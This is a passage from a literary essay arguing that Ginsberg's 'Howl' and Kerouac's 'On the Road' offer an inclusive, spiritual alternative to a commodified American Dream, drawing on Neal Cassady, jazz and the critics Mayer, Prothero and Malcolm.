    The tone is one of anger at what the narrator sees as the appropriation of the American Dream. After the reference to Cassady the poem observes that the “best minds” were “faded out in vast sordid movies, were shifted in dreams,” a direct reference to the change in their aspirations. The passage then refers to them waking in


    “…hungover with heartless Tokay and horrors of

    Third Avenue

    iron dreams & stumbled to unemployment offices,” (62, 13)

    The subject of dreams is mentioned twice in close proximity to Cassady. The dreams of Americans, Cassady especially, are no more than moving pictures that can become the nightmare of unemployment in a big city. The dreams within which Cassady shifts, and to Ginsberg, as a hero, are the only way that Cassady will experience the American Dream. There is a direct connection between Cassady and the American Dream’s corruption; for Ginsberg Cassady has survived this corruption, living outside the parameters by which Marlboro Man was identified, but is no less iconic.

    In On the Road Neal Cassady appears as the character Dean Moriarty. His sexual prowess and predatory attitude to women is a strong theme in the text as it is in “Howl”. Dean is married to three women viewing each as no more than a sex object. He represents freedom and self-gratification. Sal refers to him as “mad” and “crazy” repeatedly. He both admires and questions Dean’s anarchic way of life and his challenges to any official authori­ty. The most obvious example of Sal’s ambivalence towards Dean’s distrust and contempt for authority figures is when he becomes an authority figure himself by policing a military base. When Sal raises the American flag upside down he is told that it is an offence to do so. The national flag is the symbol of state authority that is questioned by Dean.

    Mayer (1986) correctly observes that Carlo Marx, a pseudonym for Allen Ginsberg, makes a metaphoric connection between

    America and Dean Moriarty, when asking Dean:

    “What kind of sordid business are you on now? I mean, man, whither goest thou? Whither goest thou,

    America, in thy shiny car in the night?” (Kerouac 1957 108; Mayer 1986 3).

    For Mayer this confirms the personification of

    America, and its celebration, in the person of Neal Cassady, which he believes for Kerouac is a self-gratifying entity. Mayer cites Vopat (1979) to justify his reading of the text:

    “Dean Moriarty is himself America, or rather the dream of America, once innocent, young, full of promise and holi­ness, bursting with potential and vitality, now driven mad, crippled, impotent (‘“We’re all losing our fingers’”), ragged, dirty, lost, searching for a past of security and love that never existed, trailing frenzy and broken promises, unable to speak to anybody anymore” (Vopat 1979 47; Mayer 1986 3).

    Mayer (1986) continues this connection between the American Dream and Moriarty/Cassady when analysing the scene in which William Burroughs, Old Bull Lee in the text, a mentor and drug addict, and friend from New York, who they visit on their second journey to New Orleans tells Sal that Dean,

    ‘seems to me headed for his ideal fate, which is compulsive psychosis dashed with a jigger of psycho­pathic irresponsibility and violence’ (Kerouac 1957 147; Mayer 1986 2).

    Mayer (1986) points out that:

    ‘From here on Sal looks with an increasingly critical eye at his friend at the steering wheel’ (Mayer, 1986, p.2)

    Mayer is correct to point out that Dean Moriarty is a symbol of

    America, Sal Paradise moves from an almost homoerotic fascination for Moriarty to one that is at best dismissive. For Ginsberg Cassady is a hero because of his sexual prowess. Moriarty represents the decline of

    America, to a state of primitivism, with which Sal Paradise finds it increasingly difficult to identify. The tension between the two characters increases through the text as Sal Paradise realises that there is more to the American Dream than the road and self-gratification. The text gradually exposes Moriarty’s character, and American society, as shallow. For example in part three Dean is traduced by Galatea as having “absolutely no regard for anybody but yourself and your damned kicks.” (Kerouac, 1957, 176) Sal comments after Galatea’s tirade: “That’s what Dean was, the HOLY GOOF.” (Kerouac 1957 p.176) Later in this scene Dean is lost for words “standing in front of everybody, ragged and broken and idiotic,” Sal sees this as a moment of revelation for Dean. This is a mystic experience that leads him to say that far from the HOLY GOOF “He was BEAT – the root, the soul of beatific.” For Sal Paradise and Jack Kerouac Dean Moriarty and Neal Cassady are martyrs; underlying the spiritual nature of their journey:

    America is a Holy Goof that is concerned with commercial self-gratification but they wish to find more.

    For Kerouac Beat, like

    America and Moriarty, is not beat down but potentially beatific; Beat is the new American Dream. In the 1959 playboy article “The Origins of the Beat Generation” he argued that he was not attacking America but speaking out “for things,” and went on to say that he wanted to speak out

    ‘for the crucifix…for the Star of

    Israel…for the divinest man who ever lived who was German (Bach)…for sweet Mohammed…for Buddha…’(Kerouac, 1959)

    He saw the Beat movement as the alternative and inclusive spirituality of


    ‘The Beat Generation , that was a vision that we had, John Clellon Holmes and I, and Allen Ginsberg in an even wilder way, in the late Forties, of a generation of crazy illuminated hipsters suddenly rising and roaming America, serious, curious, bumming and hitchhiking everywhere, ragged, beatific, beautiful in an ugly graceful new way.’ (Kerouac, 1958, p. 47)

    He argues that he can still be an American and embrace alternative cultural and spiritual ideas. In this context On the Road can be read as an experiment in this alternative American Dream, symbolised by Dean Moriarty and carefully chronicled by Sal Paradise. Dean Moriarty, like the dreams of a father never found and the American Dream itself, is an illusion:

    ‘Old Dean Moriarty the father we never found…’ (Kerouac, 1958, p. 281)

    The values that Ginsberg asserts in “Howl”: homosexuality, Jazz, drugs, Buddhism and so on are, for him, legitimate “values” and should be accepted within the egalitarian Utopian vision that the Declaration of Independence anticipated. The spirituality of the American Dream and its adherence to “an

    American Way

    of Life” are directly challenged in both texts not by rejection but by arguing for inclusion of “the Beats” and others within it. (Prothero, 1991)

    Prothero (1991) considers the American Dream to be about freedom but that it had been, for Kerouac, Burroughs, Ginsberg and others appropriated and corrupted and that the Beats shared a “commitment to a spiritual search” (211) The Beats’ aim was to find the American Dream and

    “not to arrive but to travel and, in the process to transform into sacred space every back alley through which they ambled and every tenement in which they lived.” (Prothero, 1991, p.211).

    The Beats’ dream was to find meaning, it is for this that they were searching: by travel, experimenting with drugs, promiscuity, homosexuality and Easter religion. As William Burroughs says in Naked Lunch:

    “since early youth I had been searching for some secret, some key with which I could gain access to basic knowledge, answer some of the fundamental questions.” (Burroughs, 1962, p.6)

    For Neal Cassady, born on the road and with no real prospects, the American Dream was simply a dream. Both Kerouac and Ginsberg portray Cassady as outside the American Dream but for Ginsberg a hero rather than a “HOLY GOOF”.

    Kerouac sought to explain his concept of the spiritual aspect of “Beat” in “The Origins of The Beat Generation”, arguing that the etymology, for him, of the word “Beat” has characteristics of beatitude and beatific. He does however also define it narrowly, suggesting that there are multiple meanings to “Beat”, as there are for the American Dream, saying:

    “The word ‘beat’ originally meant poor, down and out, dead-beat, on the bum, sad, sleeping in subways. Now that the word is belonging officially it is being made to stretch to include people who do not sleep in subways but have a new gesture, or attitude, which I can only describe as a new more. ‘Beat Generation’ has simply become the slogan or label for a revolution in manners in

    America” (Kerouac, The Origins of The Beat Generation, 1959)


    Paradise, the narrator, is himself a writer experimenting with methods of writing, searching for spontaneity and deeper meaning within writing. This idea is explained by Kerouac in his article Essentials of Spontaneous Prose (Charters, 1992, p57). This quest for meaning is therefore evident in the text as a meta-fictional device and also in the creative process. Fuelled by Benzedrine Kerouac composed the novel on a continuous roll of paper: Kerouacs methodology, the Jazz like rhythm of the text, its erratic structure are all symbolic of a search for newness; an alternative lifestyle compatible with the inalienable rights of American citizens enshrined in the Constitution.

    The symbolism of the writing itself as a new

    America is given depth as the relationship develops between Dean and Sal early in the text. As writers learning from each other. They are both animated by writing and its possibilities:

    “…without modified restraints and all hung-up on like literary inhibitions and grammatical fears…’ (Kerouac 1957 6)

    The quote above again identifies the art of writing and the American Dream as a continually evolving, expanding and, for the Beats, inclusive way of life. Having identified their own dream they resolve to find it on the road. In Belief and Technique for Modern Prose (Charters, 1992, p. 58) Kerouac gives thirty writing tips that he has used in On the Road.

    Jazz plays a significant role in the text in form and as a cultural icon of suppressed African Americans who have no access to the American Dream. The music is a symbol of the alternative American Dream that Sal is searching for. Malcolm (1991) argues correctly that the form of Kerouac’s On the Road, has some similarities, at least superficially, with Jazz but maintains that:

    ‘while jazz does play a significant role in the novel, its impact lies in the music’s ideological, behavioural and semiotic implications – in particular their roots in African American culture – rather than in the direct application of its formal rules’. (Malcom, 1991, 90)

    He rightly considers that Kerouac elevates Jazz to a state of sacralization and his reference to “negroes” is peripheral at best. He considers that Sal Paradise and Dean Moriarty are in awe of the music as a sacrament to “Beat” but only loosely identify with African Americans as being as oppressed and as separate as they are. In Essentials of Spontaneous Prose (Charters, 1992, p. 57) Kerouac asks the writer to allow language to flow without regard to rules of grammar or syntax and thus allow a deeper meaning to emerge, similar to Jazz improvisation. The novel’s concern with form, self-consciously discussed in the meta-narrational conversation between Sal Paradise and Dean Moriarty is in itself a symbol of the desire to be free of form and rules. The literary rules are being rejected as a metaphor for the rejection of the commodified and distorted American Dream.

    The commodification of the Dream is symbolised at the beginning of the novel when Sal must save some money: “fifty dollars from old veteran benefits, I was ready to go to the West Coast.” The west, another iconic symbol of pioneering Americans, would be salvation from “the miserably weary split up” from his wife and a “serious illness”. Apart from this there is no back-story or development of the character of Sal Paradise who becomes the vehicle through which the reader is shown the corruption of the American Dream, and the ultimate rootless nature of Dean’s life, in the person of Neal Cassady. We are told that Sal “often dreamed of going West to see the country”. His relationship with Dean, and therefore the American Dream, is one of observation and often ambiguous in tone:

    “My first impression of Dean was of a young Gene Autry…a sideburned hero of the snowy West.”(Kerouac 1957 p.4)

    After learning that Dean wants to write and comes to Sal for advice, Sal describes Dean as “a con-man”. But then makes plain the complexity that underlies their relationship, and thus Sal’s with what he believes to be a personification of the American Dream, when he says:

    “He was conning me and I knew it (from room and board and ‘how-to-write,’ etc.), and I knew he knew (this has been the basis for our relationship)…”(Kerouac 1957 p.6)

    At this point the reader is told that Dean, and the American Dream, has assumed a beatific status in the narrative and it is from Dean, and on the road in America, that Sal will attempt to find answers and meaning.

    “‘That’s right man, now you’re talking.’ And a kind of holy lightning I saw flashing from his excitement and visions.” (Kerouac 1957 p.6)

    Sal finds the answer to be nothing more than an abstarct “IT” (Kerouac 1957 115). Dean Moriarty wants to be like Rollo Greb, an explanation of the American Dream, who Dean sees as:

    “‘the greatest, most wonderful of all. That’s what I was trying to tell you – that’s what I want to be. I want to be like him. He’s never hung up, he goes every direction, he lets it all out, he knows time, he has nothing to do but rock back and forth. Man he’s the end! You see, if you go like him all the time you’ll finally get it.’” (Kerouac 1957 115)

    When asked by Sal what “IT”, and thus the American Dream, is Dean cannot rationalise it; the text tells us that the American Dream is in essence beyond definition simply replying:

    “‘IT! IT! I’ll tell you – now no time, we have no time now.’”(Kerouac 1957 115)

    The repeated journeys across

    America do not find “IT” and the relationship between the two men deteriorate as Sal realises there is no “IT”. In the same way that Dean failed to define “IT” and the American Dream, Sal fails to find it. It is from this point in the text that Sal begins to regard Dean, like

    America, as shallow and selfish and the American Dream as unattainable. Nonetheless Sal accepts Dean’s right to live his own American Dream which for Dean is as elusive as a definition of “IT”. The same themes, as well as the innovative use of form, are also to be found in “Howl”.

    The influence of Kenneth Rexroth on Ginsberg’s style and form in “Howl” is substantial. Rexroth met Ginsberg in 1954 in

    San Francisco and encouraged Ginsberg to reject form poetry. Ginsberg experimented with a technique similar to Kerouac’s spontaneous prose. He used a form of triadic verse utilised in the poetry of William Carlos Williams and extended the line out to his own breath. He utilised similar techniques to Kerouac’s improvised writing style, based on Jazz.

    In “Howl” Ginsberg offers a bleak observation of contemporary American Society and the illusiveness of the American Dream. He does so by highlighting the plight of those who cannot aspire to it. Negroes are symbolic of a culturally and socially oppressed minority, like the “hipsters”. The music of the hipsters and Negroes is jazz and has a mystical quality for Ginsberg, shown when he refers in “Howl” to:

    “the madman bum and angel beat in Time, unknown, yet putting down

    here what might be left to say in time come after death,

    and rose reincarnate in the ghostly clothes of jazz…..” (67, 34)

    Ginsberg makes a direct link between a “madman bum” and “angel beat” and associates both with resurrection and rebirth. This juxtaposition of religion against those outside the American Dream is a recurring theme. The simple message being that everything can be Holy and therefore everyone should be included within the Aerican Dream. “Howl” considers homosexuality, which in the nineteen-fifties was a serious crime in many states and considered a sin within the Christian faith. Sodomy, even between consenting adult heterosexuals, was illegal in most states. So Ginsberg in eulogising sodomy is celebrating criminality and sin in the eyes of many of his contemporary Americans:

    “who let themselves be fucked in the ass by saintly motorcyclists, and

    screamed with joy,” (64, 19)

    In part two of “Howl” there is a direct reference to dreams, which also feature in part one, supporting the argument that “Howl” is concerned with the American Dream. Towards the end of part two, which links

    America to Moloch, the poem tells us:

    “Visions! omens! hallucinations! miracles! ecstasies! gone down the

    American river!

    Dreams! adorations! illuminations! religions! The whole boatload of

    Sensitive bullshit!” (68, 37)

    The extract says that visions and dreams of

    America have gone down the river. Part two makes the connection between American society and Moloch. But this is the America that has become subservient to Moloch,

    America becomes a parent that is killing its own young. The young are “the best minds” mentioned at the start of the poem. It has been cast out by the worship of Moloch.

    Whilst Kerouac utilises pseudonyms in “Howl” Ginsberg names people and uses real life characters to root the message in the here and now of contemporary American society. It also gives “Howl” a documentary quality. The self-conscious introspection manifests itself in immediate cathartic despair and irony in the first line:

    “I saw the greatest minds of my generation destroyed by madness.” (62, 1)

    “Howl” is dedicated to Carl Solomon a victim of then current psychiatric methods. Madness, for Ginsberg, is symptomatic of the American ideals and caused by the political imperative to conform to the new “American way of life”. It was also common parlance in the nineteen forties and fifties and exemplified in films such as Reefer Madness that taking (illegal) drugs caused madness. A theory once again in the political ascendancy and again, some professionals would argue, based on little or no scientific evidence. Ginsberg believed that drugs could expand consciousness and facilitate writing and, like Kerouac, used them as a tool.

    Ginsberg included those labelled by Government as mad within the oppressed individuals he describes as “starving hysterical naked.” Like Sal Paradise starved of spiritual meaning and, like Carl Solomon, driven “hysterical” by the society they inhabit, and also in the language and music they use to express it. For both Kerouac and Ginsberg Jazz is the music of “beat”. The “best minds” are “floating across the tops of cities contemplating Jazz” as a mystic experience. They are “naked” to symbolise the rejection of sexual oppression. Nudity and innocence are associated, giving the beatific, inherent in the Beat’s spirituality, a sexual and homosexual context. In this way Ginsberg identifies with the disaffected youth of

    America and the distortion of the American Dream. In “Howl” they are in search of drugs, from which they will gain a new spiritual insight, rather than be condemned and committed as insane. They are also seeking treatment of their own, through self medication:

    “dragging themselves through the Negro streets at dawn looking for an angry fix,” (62, 3)

    They live in the permissive and thus separate space of “the negro streets” of

    Harlem. For Ginsberg they are “Beat”, in the sense of crushed, by the corruption of the American Dream and its product that emerged from the Second World War. They exist in the dark, living at night and are:

    “Angel-headed hipsters burning for the ancient connection to the starry dynamos in the machinery of night.” (62, 5)

    The spiritual reference is obvious here. They seek enlightenment. They reject contemporary mainstream American culture and yearn for a simpler more natural life but nature has been controlled to yield power and energy for a commercial elite who even mechanise the night. He goes on to reject academia telling how the “best minds”

    ‘…passed through universities with radiant cool eyes hallucinating

    Arkansas and Blake-light tragedy among the scholars of war,

    who were expelled from the academies for crazy & publishing

    obscene odes on the windows of the skull,’ (62, 12)

    The educational establishment is thus condemned as simply perpetuating the mainstream acceptable philosophies and sexual morality that underpin Ginsberg’s observation of a distorted American Dream. The reference to “Blake-light tragedy among the scholars of war” states directly that academics are perpetuating a system of oppression and subservience to a set of ideals that will inevitably lead to war.

    Drugs, in Ginsberg’s America are a necessary sacrament and become a tool to reach a state of mysticism and thereby achieve a vision of a new

    America outside the academic establishment, and his dream of identification with a rogue poetic tradition, symbolised by William Blake. But for Ginsberg such individuals have no place in the distorted American Dream and “…were expelled from the academies for crazy.”

    Both On the Road and “Howl” involve pan-American journeys; however Ginsberg’s vehicle is not a car but an imagist display: the poem is a chant that, like a documentary style film, provides a stream of graphic pictures of the ills apparent to him, and others, of the crisis in the American Dream. The poem has scenes in several American states and also refers to

    Mexico. In this way Ginsberg shows that it is all of

    America that is in crisis.

    As in On the Road the journey uncovers the wide spread, if mainly silent and marginalised, dissent in the youth and minority communities at the values of the mainstream view of the American Dream. The text shows, for some, the futility of simply searching for self-gratification but nonetheless elevates it to the status of holiness. But in doing so he attempts to create a sentiment of solidarity and spirituality and the possibility of mystical awareness that goes beyond the “HOLY GOOF’s” (Kerouac 1957 p176) idea of “IT!”. Ginsberg also aims to show an alternative society in which homosexuality, Negroes, Jazz and drugs are as holy and sacred as money. Ginsberg uses as symbols Carl Solomon, Neal Cassady and includes anonymous “angelheaded hipsters” and in oblique references Burroughs and Kerouac. In “Footnote to Howl” Ginsberg tells

    America that everything is holy. This idea is expanded by other beat writers and poets who investigate and show in their work this idea of a sense of wonder at everything in the world.

    Neither text is rejecting

    America as such. Kerouac said in the 1959 Playboy article “The Origins of the Beat Generation” that to believe that he is attacking

    America is to misunderstand everything he has written. He celebrates

    America in a panoramic picaresque of a coast-to-coast road trip. (Kerouac, 1959).

    Ginsberg in “Howl” condemns the way in which the American Dream has been subverted by the mercantile class, in the image of Moloch. He argues that American society suppresses individuals, and cultural works that do not conform to an ideal as espoused by the mercantile class, through the mouths of elected officials like McCarthy.

    The Beats as a movement do not reject America; they reject what they see as the misappropriation of

    America. Sal

    Paradise and Dean Moriarty seeks to regain ownership of the entire continent by driving backwards and forwards across it whilst discovering there is no “IT”. Ginsberg celebrates the diversity and value of American peoples and their culture in “Howl” with a panoramic consideration of the lives of hipsters, Negroes, bikers and homosexuals and concludes that “IT” is the American Dream.

    Part three of “Howl” focuses on Carl Solomon: the narrator is “with him”. This repeated chant of “I’m with you in

    Rockland” gives the poem a hymn like structure and the line length and repetition add to the idea of a chant. At the end of part three the poem sees hope for the American Dream. It states, referring to Carl Solomon that:

    “in my dreams you walk dripping from a sea-journey on the

    highway across

    America in tears to the door of my cottage

    in the Western night” (70, 29)

    The last three lines of “Howl” attempt to reclaim ownership of the “American Dream”. In the narrators “dreams” Carl Solomon, a victim of psychiatric oppression, is able to cross

    America freely and express his emotions “in tears” without fear of the “Western night

    The relationship that the narrators of “Howl” and On the Road want with

    America is symbiotic. They celebrate and sanctify their status as Americans. The attitudes of McCarthy, Hoover and others towards communism, homosexuality, African Americans, drugs, drinking and Eastern religion could not accept that the relationship the Beats and hipsters sought with

    America could be inclusive. McCarthy and others believed that those who chose to live outside their interpretation of the American Dream were parasitic and as such had to be destroyed. “Howl” and On the Road directly challenge this binary of rejection and damnation. They effectively offer an alternative construction of the American Dream as that of an anarchic, but spiritually based philosophically and culturally free society. Thus the Beat movement and the two texts under consideration do not reject

    America or their vision of the American Dream, they offer an alternative spiritual lifestyle that seeks out life, liberty and the anarchic pursuit of happiness within an inclusive society.

    In On the Road the dream that Sal has of being free drifts from a euphoric view of the possibility to a realisation, back in

    New York, that there is nowhere else to go. This is it. The road offers no more freedom that the city. Sal ends the novel sitting on a pier at sunset, looking west and ending the text:

    “nobody knows what’s going to happen to anybody besides the forlorn rags of growing old, I think of Dean Moriarty, I even think of Old Dean Moriarty the father we never found, I think of Dean Moriarty.” (Kerouac, 1957, p281)

    Sal has realized that the only certainty is aging and death but he nonetheless thinks of Dean and America, finally viewing

    America as a father that they never found. The American Dream is likened to a missing father, like Dean Moriarty: something that will never be found because it is always moving. The American Dream is as elusive as a father who doesn’t want to be found.

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